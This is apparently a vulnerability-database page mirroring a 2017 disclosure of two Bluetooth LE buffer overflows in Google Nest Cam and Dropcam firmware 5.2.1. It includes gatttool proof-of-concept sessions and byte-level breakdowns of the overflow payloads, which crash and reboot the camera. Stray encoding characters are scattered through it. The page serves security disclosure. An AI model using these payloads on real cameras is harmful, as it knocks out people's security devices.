Lucene search
+L

Google Nest Cam 5.2.1 Buffer Overflow

🗓️ 20 Mar 2017 00:00:00Reported by Jason DoyleType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Google Nest Cam BLE Buffer Overflow Exploit 5.2.

Code
`# Exploit Title: Google Nest Cam - Multiple Buffer Overflow Conditions Over Bluetooth LE  
# Reported to Google: October 26, 2016  
a"# Public Disclosure: March 17, 2017  
# Exploit Author: Jason Doyle @_jasondoyle  
# Vendor Homepage: https://nest.com/  
# Affected: Dropcam, Dropcam Pro, Nest Cam Indoor/Outdoor modelsa"  
# Tested Version: 5.2.1a"  
# Fixed Version: TBD  
# https://github.com/jasondoyle/Google-Nest-Cam-Bug-Disclosures/blob/master/README.mda"  
  
==Bluetooth (BLE) based Buffer Overflow via SSID parameter==  
  
1. Summarya"  
  
It's possible to trigger a buffer overflow condition when setting the SSID parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.  
  
2. Proof of Concept  
  
a"anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -Ia"  
[18:B4:30:5D:00:B8][LE]> connecta"  
Attempting to connect to 18:B4:30:5D:00:B8a"  
Connection successful  
a"[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
a"[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ba"  
Characteristic value was written successfully  
a"Characteristic value was written successfullya"  
[18:B4:30:5D:00:B8][LE]>a"(gatttool:20352): GLib-WARNING **: Invalid file descriptor.  
  
3. Details   
  
The payload attempts to set an SSID with a length of 1 byte and sends 16.a"SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16  
  
4. Resulta"  
  
Crash and reboot back to operational state  
  
  
==Bluetooth (BLE) based Buffer Overflow via Encrypted Password parameter==  
  
1. Summarya"  
  
It's possible to trigger a buffer overflow condition when setting the encrypted password parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.  
  
2. Proof of Concepta"  
  
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -Ia"  
[18:B4:30:5D:00:B8][LE]> connect  
a"Attempting to connect to 18:B4:30:5D:00:B8a"  
Connection successfula"  
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA  
a"[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ba"  
Characteristic value was written successfully  
a"Characteristic value was written successfully  
a"[18:B4:30:5D:00:B8][LE]>a"(gatttool:20352): GLib-WARNING **: Invalid file descriptor.  
  
3. Detailsa"  
  
The payload attempts to set the encrypted wifi password with a length of 1 byte and sends 3.a"SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2017 00:00Current
0.7Low risk
Vulners AI Score0.7
28